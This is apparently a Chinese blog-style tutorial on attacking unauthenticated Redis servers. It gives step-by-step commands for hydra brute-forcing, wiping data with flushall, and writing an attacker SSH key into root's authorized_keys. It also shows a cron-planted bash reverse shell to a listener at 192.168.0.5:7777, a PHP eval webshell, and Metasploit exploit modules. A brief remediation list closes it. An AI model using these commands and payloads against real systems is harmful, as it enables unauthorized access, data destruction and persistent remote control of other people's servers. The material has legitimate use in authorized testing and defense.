Redis未授权访问
0x00 Redis
Redis (REmote DIctionary Server) 是一个使用ANSI C语言编写的开源数据库,通常被称为数据结构服务器,从内存中读取数据,因此性能优越,和MongoDB一样,是目前使用十分广泛的NoSQL(Not Only SQL,非关系型数据库)。
Redis安装完成后,默认不开启用户认证。当配置不当时,造成未授权访问,进行敏感操作,获取权限等。
结合ssrf,探测限制内网访问的redis服务,进一步getshell
0x01 未授权访问
1、不存在密码,直接访问
1 | redis-cli -h 192.168.0.4 |
2、存在密码,爆破
配置文件redis.conf中reauirepass提供了一个轻量级的认证,但可以快速爆破。
存在密码:
hydra爆破:
1 | hydra -P password.txt redis://192.168.0.4 |
输入密码连接
查看Redis版本、系统相关信息
1 | info |
删除整个数据库
1 | flushall |
0x02 获取权限
通过Redis的config命令,设置数据库中待插入的内容,再修改数据库的默认路径和缓冲文件,实现在目标系统的指定路径写文件的操作,获取权限。或者利用msf的相应模块,实现密码爆破、文件上传、获取shell。
1、ssh公钥连接
在/root/.ssh/authorized_keys中写入公钥,即可使用公钥进行ssh登录。
使用条件:Redis以root权限运行,ssh允许秘钥登录
本地生成一对秘钥:
1 | ssh-keygen -t rsa |
生成的私钥和公钥路径
1 | cat /root/.ssh/id_rsa.pub |
1 | config set dir /root/.ssh/ //选择写入文件的路径 |
目标机器公钥文件写入成功
利用私钥登录
1 | ssh -i /root/.ssh/id_rsa 192.168.0.4 |
2、反弹shell
利用Linux Crontab定时任务。/var/spool/cron/crontabs/路径下不同的文件名代表着不同用户的定时任务,因此可以向root文件中写入命令,获取反弹shell。
条件:Redis以root权限运行
开启监听
1 | nc -lvp 1111 |
1 | config set dir /var/spool/cron/crontabs/ //选择写入的路径 |
CentOS可直接反弹shell,Ubuntu和Kali并不能反弹成功,是由于crontab计划文件执行命令的shell环境是/bin/sh,在Ubuntu中/bin/sh是一个软连接,指向的是dash,而dash只能执行命令,不能交互。因此可以尝试将反弹shell的sh脚本写入计划任务中获取反弹shell。
shell.sh:
1 | #! /bin/bash |
1 | set x "#\n\n#! /bin/bash\n/bin/bash -i >& /dev/tcp/192.168.0.5/7777 0>&1\n\n#" |
1 | set x "\n\n* * * * * /tmp/shell.sh\n\n#" |
3、写入shell
当redis对web路径具有写权限时,可以写入一个webshell文件。
1 | set a "<?php @eval($_REQUEST['pass'])?>" |
4、利用msf爆破密码、上传文件、反弹shell
利用msf可以更加方便的完成上述操作
1 | msfconsole |
auxiliary/scanner/redis/file_upload(文件上传模块)
auxiliary/scanner/redis/redis_login (爆破密码模块)
auxiliary/scanner/redis/redis_server(验证密码模块)
exploit/linux/redis/redis_unauth_exec(获取shell模块)
1、爆破密码
1 | use auxiliary/scanner/redis/redis_login |
2、上传文件
1 | echo "<?php @eval($_REQUEST['pass'])?>" > webshell.php |
3、获取shell
1 | use exploit/linux/redis/redis_unauth_exec |
0x03 修复措施
1、设置Redis强口令
2、使用白名单限制,或禁止公网访问
3、修改默认端口
4、authroizer_keys文件权限设置为拥有者只读,避免其他用户添加
5、以低权限运行Redis
6、禁止远程使用危险命令如flushall、config、eval,或修改命令的名称